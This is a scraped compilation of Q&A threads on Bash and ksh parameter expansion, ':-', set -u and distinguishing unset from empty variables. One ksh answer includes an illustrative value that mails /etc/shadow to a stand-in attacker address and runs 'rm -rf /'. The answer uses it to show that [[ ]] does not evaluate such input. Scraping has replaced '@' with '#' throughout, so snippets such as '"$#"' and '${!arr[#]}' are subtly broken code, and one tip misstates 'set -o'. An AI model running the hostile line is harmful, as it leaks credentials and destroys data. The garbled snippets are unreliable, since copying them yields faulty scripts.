Redundant use of :- in Bash? - bash

I have this code inside a function:
local var="$1"
local fileVar="${var}_FILE"
local def="${2:-}"
if [ "${!var:-}" ] && [ "${!fileVar:-}" ]; then
echo >&2 "error: both $var and $fileVar are set (but are exclusive)"
exit 1
fi
What is the role of :- here? Isn't it redundant? To be specific, could we not write the if statement this way?
if [ "${!var}" ] && [ "${!fileVar}" ]; then
How does it help to have an empty "word" on the right side of :-?

Figured it out. The :- construct in indirect parameter expansion prevents the script from failing when run with set -u.
Here is an example:
set -u
var=x
[[ ${!var:-} ]] && echo This works
[[ ${!var} ]] && echo This should fail
echo "This should print only when run without 'set -u'"
which gives this output:
line 6: !var: unbound variable
If the same statements are run without set -u, we get:
This should print only when run without 'set -u'
However, this trick wouldn't work in case we are using direct parameter expansion. So,
set -u
[[ ${var:-} ]] && echo Does this work
still throws the error:
tt.sh: line 6: var: unbound variable

Related

How to assign a variable inside if condition in shell script

I would like to know how to assign a variable inside if block in shell script..
Below is my code..
if [[ -z "$MMBOX_PATH" || -z "$BACKUP_PATH" || -z "$REMOTE_SERVER" || -z "$LOG_PATH" ]]
then
echo -e "Must Provide All Required Paths [$FLAG is Empty].."
exit 1
fi
The above code will run whenever it found empty variable, but I also wants to know which variable is empty (E.g., In above code suppose if LOG_PATH variable is empty then it should display in echo output in place of $FLAG )
I tried following codes..
if [[ `FLAG='MMBOX_PATH'` && -z "$MMBOX_PATH" || `FLAG='BACKUP_PATH'` && -z "$BACKUP_PATH" || `FLAG='REMOTE_SERVER'` && -z "$REMOTE_SERVER" || `FLAG='LOG_PATH'` && -z "$LOG_PATH" ]]
then
echo -e "Must Provide All Required Paths [$FLAG is Empty].."
exit 1
fi
But above code returns false hence it is not printing the content inside echo.
I also tried to keep FLAG variable before condition execution, but every time it returns 'Nothing'
if FLAG='MMBOX_PATH' && [[ -z "$MMBOX_PATH" ]]
then
echo -e "Must Provide All Required Paths [$FLAG is Empty].."
exit 1
fi
In above case I'm getting FLAG='MMBOX_PATH' in output but if I add one more condition to that if nothing is printing (Means if I check same thing for BACKUP_PATH,REMOTE_SERVER..)
if FLAG='MMBOX_PATH' && [[ -z "$MMBOX_PATH" ]] && FLAG='LOG_PATH' && [[ -z "$LOG_PATH" ]]
then
echo -e "Must Provide All Required Paths [$FLAG is Empty].."
exit 1
fi
In this case nothing is printing even though MMBOX_PATH present and LOG_PATH empty.
Note: Using if condition each and every variable it is possible to know which variable is empty,but I don't want to extend my lines with if-else conditions I just want to know in that if block itself how to assign a variable and prints once condition is true.
Can anybody help me how to get empty variable..? (/bin/bash)
If all you are doing is checking existence with the if you could use a function.
check() {
for i in "$#";do
if [[ -z "${!i}" ]]
then
echo -e "Must Provide All Required Paths [\$$i is Empty].."
exit 1
fi
done
}
check MMBOX_PATH BACKUP_PATH REMOTE_SERVER LOG_PATH
Shell already provides a syntax for verifying that a variable has a value and exits if it does not:
: ${MMBOX_PATH:?Must provide MMBOX_PATH}
: ${BACKUP_PATH:?Must provide BACKUP_PATH}
: ${REMOTE_SERVER:?Must provide REMOVE_SERVER}
: ${LOG_PATH:?Must provide LOG_PATH}
There's no need to define a check function that does the same thing.
The initial colon is the do-nothing command; the shell evaluates its arguments, and : exits with status 0 immediately. The parameter expansion is what verifies that the named parameter has a value. If it does not, the given error message is printed. If the shell is not interactive, it also exits with status 1.

bash passing arguments/parameters?

#!/bin/bash
traverse() {
local x=$1
if [ -d $x ]
then
lst=(`ls $x`)
for((i=${#lst[#]}; --i;)); do
echo "${lst[i]}"
done
else echo "not a directory"
fi
}
traverse
I want to pass a parameter such as "/path/to/this/directory/" when executing program but only works if I'm running the program in the same directory as my bash script file and any other parameter I pass is completely ignored.
the script is supposed to take a parameter and check if it's a directory and if it's a directory then list all the files/folders in descending order. If not display error message.
What is wrong with code, thanks!
This happens because $1 in the function refers to traverse's parameters, not your script's parameters.
To run your function once with each argument, use
for arg in "$#" # "$#" is also the default, so you can drop the 'in ..'
do
traverse "$arg"
done
If you in the future want to pass all the script's parameters to a function, use
myfunc "$#"
This is just the problem at hand, though. Other problems include not quoting your variables and using command expansion of ls, lst=(`ls $x`), instead of globs, lst=( "$x"/* )
You don't need to call ls for that. You can use this code:
traverse() {
local x="$1"
if [ -d "$x" ]; then
arr=( "$x/"* )
for ((i=${#arr[#]}; i>0; i--)); do
echo "${arr[$i]}"
done
else
echo "not a directory"
fi
}
"That other guy" has the right answer. The reason it always looks at the current directory:
you invoke traverse with no arguments
the $1 in the traverse function is empty, therefore $x is empty
the test is therefore [ -d ], and when [ is given 1 argument, it returns success if the argument is not empty. Your if command always executes the "true" block and ls $x is just ls when x is empty
Use [[ ... ]] with bash: it is smarter about empty arguments. Otherwise, quote your variables:
$ x=; [ -d $x ] && echo always true || echo not a directory
always true
$ x=; [[ -d $x ]] && echo always true || echo not a directory
not a directory
$ x=; [ -d "$x" ] && echo always true || echo not a directory
not a directory

Checking a variable is set and value in ksh

I have a script which takes user input, the REFRESH option is optional. I need to test to see if $REFRESH exists and is equal to the string "REFRESH", if it is then run a specific block of code.
The user would execute
./export_data.sh <user> <type> [REFRESH]
If I was doing this in PHP I would simply use the isset() function, does an equivelent exist in ksh?
I have tried the following but this fails as in the 2nd test $REFRESH is not set:
if [ -n $REFRESH ] && [ $REFRESH == "REFRESH" ]
then
echo "variable is set and the expected value";
# do stuff
fi
The only other way I can think to do this is a nested if but this seems messy:
if [ -n $REFRESH ]
then
if [ $REFRESH == "REFRESH" ]
then
echo "variable is set and the expected value";
# do stuff
fi
Is there a better way to do this?
if [ "${REFRESH:-unset}" = "REFRESH" ]
then ...
This substitutes unset if there is no value in $REFRESH or if the value is the empty string. Either way, it is not the same as "REFRESH", so it behaves as required.
When testing variables, enclose them in double quotes; it saves angst. In fact, it would mean that you could simply write:
if [ "$REFRESH" = "REFRESH" ]
then ...
I would comment on Jonathan's reply but I'm too much of a newby around here to be trusted with such things.
Anyway, if you are trying to save yourself angst in ksh, never use the legacy Bourne shell [ ]. Instead, use [[ ]].
if [[ $REFRESH == REFRESH ]]; then
That will always evaluate the way you want it. Even if any of the following happened just before the if statement.
REFRESH=''
REFRESH=' REFRESH'
REFRESH='`mailx -s "good stuff" hacker#example.com < /etc/shadow`; sleep 5; rm -rf /`'
The thing to be careful of is the right hand side in the event that it is a variable or a string that could be evaluated for things other than just a simple string comparison. Consider these:
$ val='#(foo|REFRESH)'
$ REFRESH=REFRESH; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=foo; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=REFRESH; [[ $REFRESH == "$val" ]] && echo match
$ REFRESH=' REFRESH'; [[ $REFRESH == REFRESH ]] && echo match
$
Here we see that quoting the RHS is more important than quoting the LHS when using [[ ]]. Also, this demonstrates that [[ ]] allows more powerful matches using patterns and pattern lists.
Answering to that specific question:
If I was doing this in PHP I would simply use the isset() function, does an equivalent exist in ksh?
if [ "${REFRESH:-unset}" != unset ]
By the way, in my opinion the best (because is the most simple) way to test if a variable is set or not set is:
if [ "$PIPPO" ] ; then
echo "Set"
fi
OR
if [ ! "$PIPPO" ] ; then
echo "Not Set"
fi

Test for a Bash variable being unset, using a function

A simple Bash variable test goes:
${varName:? "${varName} is not defined"}
I'd like to reuse this, by putting it in a function. How can I do it?
The following fails
#
# Test a variable exists
tvar(){
val=${1:? "${1} must be defined, preferably in $basedir"}
if [ -z ${val} ]
then
echo Zero length value
else
echo ${1} exists, value ${1}
fi
}
I.e., I need to exit if the test fails.
Thanks to lhunath's answer, I was led to a part of the Bash man page that I've overlooked hundreds of times:
When not performing substring expansion, bash tests for a parameter that is unset or null; omitting the colon results in a test only for a parameter that is unset.
This prompted me to create the following truth table:
Unset
Set, but null
Set and not null
Meaning
${var-_}
T
F
T
Not null or not set
${var:-_}
T
T
T
Always true, use for subst.
$var
F
F
T
'var' is set and not null
${!var[#]}
F
T
T
'var' is set
This table introduces the specification in the last row. The Bash man page says "If name is not an array, expands to 0 if name is set and null otherwise." For purposes of this truth table, it behaves the same even if it's an array.
You're looking for indirection.
assertNotEmpty() {
: "${!1:? "$1 is empty, aborting."}"
}
That causes the script to abort with an error message if you do something like this:
$ foo=""
$ assertNotEmpty foo
bash: !1: foo is empty, aborting.
If you just want to test whether foo is empty, instead of aborting the script, use this instead of a function:
[[ $foo ]]
For example:
until read -p "What is your name? " name && [[ $name ]]; do
echo "You didn't enter your name. Please, try again." >&2
done
Also, note that there is a very important difference between an empty and an unset parameter. You should take care not to confuse these terms! An empty parameter is one that is set, but just set to an empty string. An unset parameter is one that doesn't exist at all.
The previous examples all test for empty parameters. If you want to test for unset parameters and consider all set parameters OK, whether they're empty or not, use this:
[[ ! $foo && ${foo-_} ]]
Use it in a function like this:
assertIsSet() {
[[ ! ${!1} && ${!1-_} ]] && {
echo "$1 is not set, aborting." >&2
exit 1
}
}
Which only aborts the script when the parameter name you pass denotes a parameter that isn't set:
$ ( foo="blah"; assertIsSet foo; echo "Still running." )
Still running.
$ ( foo=""; assertIsSet foo; echo "Still running." )
Still running.
$ ( unset foo; assertIsSet foo; echo "Still running." )
foo is not set, aborting.
You want to use [ -z ${parameter+word} ]
Some part of man bash:
Parameter Expansion
...
In each of the cases below, word is subject to tilde expansion, parameter expansion, command substitution, and
arithmetic expansion. When not performing substring expansion, bash tests for a parameter that is unset or null;
omitting the colon results in a test only for a parameter that is unset.
...
${parameter:+word}
Use Alternate Value. If parameter is null or unset, nothing is substituted, otherwise the expansion of
word is substituted.
...
in other words:
${parameter+word}
Use Alternate Value. If parameter is unset, nothing is substituted, otherwise the expansion of
word is substituted.
some examples:
$ set | grep FOOBAR
$ if [ -z "${FOOBAR+something}" ]; then echo "it is unset"; fi
it is unset
$ declare FOOBAR
$ if [ -z "${FOOBAR+something}" ]; then echo "it is unset"; fi
$ FOOBAR=
$ if [ -z "${FOOBAR+something}" ]; then echo "it is unset"; fi
$ FOOBAR=1
$ if [ -z "${FOOBAR+something}" ]; then echo "it is unset"; fi
$ unset FOOBAR
$ if [ -z "${FOOBAR+something}" ]; then echo "it is unset"; fi
it is unset
$
This function tests for variables that are currently set. The variable may even be an array. Note that in Bash: 0 == TRUE, 1 == FALSE.
function var.defined {
eval '[[ ${!'$1'[#]} ]]'
}
# Typical usage of var.defined {}
declare you="Your Name Here" ref='you';
read -p "What's your name: " you;
if var.defined you; then # Simple demo using literal text
echo "BASH recognizes $you";
echo "BASH also knows a reference to $ref as ${!ref}, by indirection.";
fi
unset you # Have just been killed by a master :D
if ! var.defined $ref; then # Standard demo using an expanded literal value
echo "BASH doesn't know $ref any longer";
fi
read -s -N 1 -p "Press any key to continue...";
echo "";
So to be clear here, the function tests literal text. Every time a command is called in Bash, variables are generally 'swapped-out' or 'substituted' with the underlying value unless:
$varRef ($) is escaped: $varRef
$varRef is single quoted '$varRef'
I.e., I need to exit if the test fails.
The code:
${varName:? "${varName} is not defined"}
will return a nonzero exit code when there is not a variable named "varName". The exit code of the last command is saved in $?.
About your code:
val=${1:? "${1} must be defined, preferably in $basedir"}
Maybe it is not doing what you need. In the case that $1 is not defined, the "${1}" will be substituted with nothing. Probably you want use the single quotes that literally writes ${1} without substitution.
val=${1:? '${1} must be defined, preferably in $basedir'
I am unsure if this is exactly what you want, but a handy trick I use when writing a new and complex script is to use "set -o":
set -o # Will make the script bomb out when it finds an unset variable
For example,
$ grep '$1' chex.sh
case "$1" in
$ ./chex.sh
./chex.sh: line 111: $1: unbound variable
$ ./chex.sh foo
incorrect/no options passed.. exiting
if set | grep -q '^VARIABLE='
then
echo VARIABLE is set
fi

How to tell if a string is not defined in a Bash shell script

If I want to check for the null string I would do
[ -z $mystr ]
but what if I want to check whether the variable has been defined at all? Or is there no distinction in Bash scripting?
I think the answer you are after is implied (if not stated) by Vinko's answer, though it is not spelled out simply. To distinguish whether VAR is set but empty or not set, you can use:
if [ -z "${VAR+xxx}" ]; then echo "VAR is not set at all"; fi
if [ -z "$VAR" ] && [ "${VAR+xxx}" = "xxx" ]; then echo "VAR is set but empty"; fi
You probably can combine the two tests on the second line into one with:
if [ -z "$VAR" -a "${VAR+xxx}" = "xxx" ]; then echo "VAR is set but empty"; fi
However, if you read the documentation for Autoconf, you'll find that they do not recommend combining terms with '-a' and do recommend using separate simple tests combined with &&. I've not encountered a system where there is a problem; that doesn't mean they didn't used to exist (but they are probably extremely rare these days, even if they weren't as rare in the distant past).
You can find the details of these, and other related shell parameter expansions, the test or [ command and conditional expressions in the Bash manual.
I was recently asked by email about this answer with the question:
You use two tests, and I understand the second one well, but not the first one. More precisely I don't understand the need for variable expansion
if [ -z "${VAR+xxx}" ]; then echo "VAR is not set at all"; fi
Wouldn't this accomplish the same?
if [ -z "${VAR}" ]; then echo "VAR is not set at all"; fi
Fair question - the answer is 'No, your simpler alternative does not do the same thing'.
Suppose I write this before your test:
VAR=
Your test will say "VAR is not set at all", but mine will say (by implication because it echoes nothing) "VAR is set but its value might be empty". Try this script:
(
unset VAR
if [ -z "${VAR+xxx}" ]; then echo "JL:1 VAR is not set at all"; fi
if [ -z "${VAR}" ]; then echo "MP:1 VAR is not set at all"; fi
VAR=
if [ -z "${VAR+xxx}" ]; then echo "JL:2 VAR is not set at all"; fi
if [ -z "${VAR}" ]; then echo "MP:2 VAR is not set at all"; fi
)
The output is:
JL:1 VAR is not set at all
MP:1 VAR is not set at all
MP:2 VAR is not set at all
In the second pair of tests, the variable is set, but it is set to the empty value. This is the distinction that the ${VAR=value} and ${VAR:=value} notations make. Ditto for ${VAR-value} and ${VAR:-value}, and ${VAR+value} and ${VAR:+value}, and so on.
As Gili points out in his answer, if you run bash with the set -o nounset option, then the basic answer above fails with unbound variable. It is easily remedied:
if [ -z "${VAR+xxx}" ]; then echo "VAR is not set at all"; fi
if [ -z "${VAR-}" ] && [ "${VAR+xxx}" = "xxx" ]; then echo "VAR is set but empty"; fi
Or you could cancel the set -o nounset option with set +u (set -u being equivalent to set -o nounset).
~> if [ -z $FOO ]; then echo "EMPTY"; fi
EMPTY
~> FOO=""
~> if [ -z $FOO ]; then echo "EMPTY"; fi
EMPTY
~> FOO="a"
~> if [ -z $FOO ]; then echo "EMPTY"; fi
~>
-z works for undefined variables too. To distinguish between an undefined and a defined you'd use the things listed here or, with clearer explanations, here.
Cleanest way is using expansion like in these examples. To get all your options check the Parameter Expansion section of the manual.
Alternate word:
~$ unset FOO
~$ if test ${FOO+defined}; then echo "DEFINED"; fi
~$ FOO=""
~$ if test ${FOO+defined}; then echo "DEFINED"; fi
DEFINED
Default value:
~$ FOO=""
~$ if test "${FOO-default value}" ; then echo "UNDEFINED"; fi
~$ unset FOO
~$ if test "${FOO-default value}" ; then echo "UNDEFINED"; fi
UNDEFINED
Of course you'd use one of these differently, putting the value you want instead of 'default value' and using the expansion directly, if appropriate.
Advanced Bash scripting guide, 10.2. Parameter Substitution:
${var+blahblah}: if var is defined, 'blahblah' is substituted for the
expression, else null is substituted
${var-blahblah}: if var is defined, it is itself substituted, else
'blahblah' is substituted
${var?blahblah}: if var is defined, it is substituted, else the
function exists with 'blahblah' as an error message.
To base your program logic on whether the variable $mystr is defined or not, you can do the following:
isdefined=0
${mystr+ export isdefined=1}
Now, if isdefined=0 then the variable was undefined, and if isdefined=1 the variable was defined.
This way of checking variables is better than the previous answers, because it is more elegant, readable, and if your Bash shell was configured to error on the use of undefined variables (set -u), the script will terminate prematurely.
Other useful stuff:
To have a default value of 7 assigned to $mystr if it was undefined, and leave it intact otherwise:
mystr=${mystr- 7}
To print an error message and exit the function if the variable is undefined:
: ${mystr? not defined}
Beware here that I used ':' so as not to have the contents of $mystr executed as a command in case it is defined.
A summary of tests.
[ -n "$var" ] && echo "var is set and not empty"
[ -z "$var" ] && echo "var is unset or empty"
[ "${var+x}" = "x" ] && echo "var is set" # may or may not be empty
[ -n "${var+x}" ] && echo "var is set" # may or may not be empty
[ -z "${var+x}" ] && echo "var is unset"
[ -z "${var-x}" ] && echo "var is set and empty"
The explicit way to check for a variable being defined would be:
[ -v mystr ]
Test if a variable is set in bash when using "set -o nounset" contains a better answer (one that is more readable and works with set -o nounset enabled). It works roughly like this:
if [ -n "${VAR-}" ]; then
echo "VAR is set and is not empty"
elif [ "${VAR+DEFINED_BUT_EMPTY}" = "DEFINED_BUT_EMPTY" ]; then
echo "VAR is set, but empty"
else
echo "VAR is not set"
fi
Another option: the "list array indices" expansion:
$ unset foo
$ foo=
$ echo ${!foo[*]}
0
$ foo=bar
$ echo ${!foo[*]}
0
$ foo=(bar baz)
$ echo ${!foo[*]}
0 1
The only time this expands to the empty string is when foo is unset, so you can check it with the string conditional:
$ unset foo
$ [[ ${!foo[*]} ]]; echo $?
1
$ foo=
$ [[ ${!foo[*]} ]]; echo $?
0
$ foo=bar
$ [[ ${!foo[*]} ]]; echo $?
0
$ foo=(bar baz)
$ [[ ${!foo[*]} ]]; echo $?
0
should be available in any Bash version 3.0 or greater.
The Bash Reference Manual is an authoritative source of information about Bash.
Here's an example of testing a variable to see if it exists:
if [ -z "$PS1" ]; then
echo This shell is not interactive
else
echo This shell is interactive
fi
(From section 6.3.2.)
Note that the whitespace after the open [ and before the ] is not optional.
Tips for Vim users
I had a script that had several declarations as follows:
export VARIABLE_NAME="$SOME_OTHER_VARIABLE/path-part"
But I wanted them to defer to any existing values. So I rewrote them to look like this:
if [ -z "$VARIABLE_NAME" ]; then
export VARIABLE_NAME="$SOME_OTHER_VARIABLE/path-part"
fi
I was able to automate this in Vim using a quick regex:
s/\vexport ([A-Z_]+)\=("[^"]+")\n/if [ -z "$\1" ]; then\r export \1=\2\rfi\r/gc
This can be applied by selecting the relevant lines visually, then typing :. The command bar pre-populates with :'<,'>. Paste the above command and hit Enter.
It was tested on this version of Vim:
VIM - Vi IMproved 7.3 (2010 Aug 15, compiled Aug 22 2015 15:38:58)
Compiled by root#apple.com
Windows users may want different line endings.
Not to shed this bike even further, but wanted to add
shopt -s -o nounset
is something you could add to the top of a script, which will error if variables aren't declared anywhere in the script.
The message you'd see is unbound variable, but as others mention, it won't catch an empty string or null value.
To make sure any individual value isn't empty, we can test a variable as it's expanded with ${mystr:?}, also known as dollar sign expansion, which would error with parameter null or not set.
Here is what I think is a much clearer way to check if a variable is defined:
var_defined() {
local var_name=$1
set | grep "^${var_name}=" 1>/dev/null
return $?
}
Use it as follows:
if var_defined foo; then
echo "foo is defined"
else
echo "foo is not defined"
fi
A shorter version to test an undefined variable can simply be:
test -z ${mystr} && echo "mystr is not defined"
Call set without any arguments... it outputs all the defined variables.
The last ones on the list would be the ones defined in your script.
So you could pipe its output to something that could figure out what things are defined and what’s not.

Resources